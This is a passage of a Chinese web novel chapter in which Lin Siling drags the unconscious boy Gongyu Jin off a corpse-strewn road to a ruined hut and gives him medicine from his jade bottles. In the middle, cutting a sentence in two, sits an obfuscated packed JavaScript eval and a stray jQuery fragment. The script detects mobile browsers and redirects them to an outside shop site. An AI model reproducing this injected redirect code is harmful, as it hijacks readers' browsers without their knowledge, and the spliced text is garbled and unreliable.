昨夜邢峰才警告她远离公玉谨,结果公玉谨今天就冒着危险回来找她……
此刻邢峰大概气得跳脚,后悔昨晚没趁机干掉她吧?
不过,癫公癫婆越不顺心,她越开心!
没听见公玉谨的回应,她回头一看,呆住了——
只见公玉谨无声无息躺在她身边,脸白惨惨没有一丝颜色,双目紧闭。最令她心悸的是,她看见他的唇角,竟然挂着一缕血丝!
怎么回事?
刚还好好的,为什么突然间就犯病了?关键问题是,她压根不知道他究竟是什么病!
“公玉……公玉哥哥!
她颤抖地摇晃他的肩,轻声呼唤。
摸其额头和手腕,一片冰凉,像是触到了冰块。
她完全傻了,把公玉谨抱在怀里,不知道该如何是好。
这可是个叫天天不应,叫地地不灵的地方!
咬咬牙,她再一次探头观察外面。
确认没有什么异常动静,她把公玉谨身上小包摘下来,绑在自己身上。然后费力地拉扯公玉谨,将他从车厢里拖了出去。
庆幸公玉谨只是个不大的小少年,不然,她真弄不动他。
打量一眼周围环境,认准南方,她准备朝此移动。只有躲到荒无人烟的地方,才能尽量避免危险。
现在的官道属于是非之地。不久之后,会有许多流民、野狗,如同苍蝇逐臭而来。
留下等邢峰找来,变数太多了。
她尝试背起公玉谨。
抓住他两条胳膊,把人拉到背上。像是拖一口沉重的大麻袋,好不容易挣扎起来,没走两步,就给压趴下了。
公玉谨两条长腿拖在地上,一身干净洁白的细棉长衫,没几下给她折腾得沾满泥污。
丢下是不可能丢下的!林思泠硬着头皮,使出吃奶的劲拉扯着公玉谨前进。走不动,那就爬——
手撑地,一点一点挪动。如同一只蜗牛,背着重重的壳,缓慢朝前蠕动。
中途歇口气,顺便给自己与公玉谨灌两口水,然后继续拼命爬。
短短几百米距离,她奋力挣扎了半个时辰。
最终,她将公玉谨拖出了一堆死尸群,拉下官道,藏在半人高的杂草丛中。头顶老鸹盘旋,发出瘆人叫声;不远处还有几条野狗打架夺食。
她不敢多耽误,努力带着昏迷的公玉谨,前往荒无人烟的地方寻找落脚点。
身体疲劳尚在其次,她内心最崩溃的是公玉谨现状。
不知这
孩子到底得的什么病,是不是不治之症?如果他就此没了,邢峰会将她视为罪魁祸首不要紧,她自己也过不去良心那道坎!
这个世界,公玉谨是第一个也是唯一一个给予她温暖关心的人。
哪怕只是个孩子,她心目中不知不觉将他视为重要。
抹一把满脸满头咸咸的水,林思泠发现自己又哭了。
这是她穿越到这个世界,唯二的两回哭。还是一天哭两次!
她内心充斥强烈的挫败感。看着公玉谨的样子,满是难过与无能为力。
一边哭,一边用尽全力,执着又麻木地前行。已经到了午后,天黑下来之前,她必须找到一处避难所。
否则,野外对于两个手无寸铁的孩子,相当危险。
幸运的是,一个时辰后,她终于发现一座坍塌的废弃茅草棚。两面摇摇欲坠的竹墙及秃架子屋顶,勉强能抵御一些寒风。
林思泠精神一振。
顾不得双手双膝皮开肉绽,放下公玉谨便钻进棚里四处打量。
确认无危险后,简单地清理掉垃圾,垫上树枝干草,搭一件旧衣裳,草铺就搭成了。
将公玉谨拖到铺上躺好,试探着又喂了两口水。发现他在不自觉吞咽,猜测短时间内人不至于没了。略微放心,赶紧着手挖坑种植青丝。
他们身上所带干粮不多,大部分在邢峰身上。公玉谨的病,不知会糟糕成什么样子,她必须尽快弄些新鲜的蔬菜瓜果出来。
说不定公玉谨吃了,人就好了呢……
怕被外来者走来撞见,种植坑散布废弃草棚四周,外面有半人高的灌木丛遮掩。不多,一共五株。不仔细找,根本发现不了。
回到棚内,清点剩余物资。除了贴身藏着的东西,明
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13318529|140368||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
面上只有她和公玉谨一人一个小包裹。
她的包裹塞着几件破衣裳,一点果干,两块火石。公玉谨的……
她犹豫下打开,发现里面同样只有几件换洗衣裳、一个水囊、几本线装书册。
不知道说什么好——
这孩子!命都快没了,不忘带着自己的书。真下决心考状元么?
“里面……有药……”
对着书发怔的时候,突然细弱蚊蝇的声音传来!
林思泠一惊,回头一看,草铺上的公玉谨不知何时睁开眼睛,望着她吃力地开口。一根手指,颤巍巍指向自己的包裹。
“公玉哥哥,你醒了?”
林思泠又惊又喜,眼眶瞬间第三次红了。这回是喜极而泣。
“药……拿给我……衣裳包着……”
公玉谨艰难地重复。
林思泠连忙翻找。
在一件衣裳里摸到三个圆滚滚的东西,一把掏出来。原来是三个巴掌大小的玉瓶,一瓶系红带子,一瓶系绿带子,一瓶系黄带子。
不知道哪个才是,都捧着送到公玉谨跟前。
公玉谨抖着手,示意红带子瓶子。林思泠急忙旋开瓶盖,感觉里面装的是药丸,正想从里面倒出一粒,忽然瞥到自己满手的泥土和血污……
抓住三个瓶子的手,瞬间不自在起来。
糟糕,她忘了公玉谨有洁癖……
“拿一粒。”
公玉谨轻声说。
林思泠扯一件自己的旧衣裳,把手擦了又擦。
未愈合的伤口,流出血来将衣裳染红,她顾不上。只是小心翼翼用稍微干净的指头,捻出一粒药丸,喂进公玉谨嘴里。
等公玉谨喝水吞完药,她才将污了的衣裳撕烂,用布条包扎伤口。
公玉谨虚弱地躺在那里,看着她的动作。
“黄色……金疮药……绿色……解毒药。”
林思泠慢半拍反应过来,意识到公玉谨在提醒她。重新从黄带子玉瓶抖些药粉出来,撒在伤口上包扎。
公玉谨强撑一口气盯着她。直至见她收拾完自己,方才放松下来继续昏睡。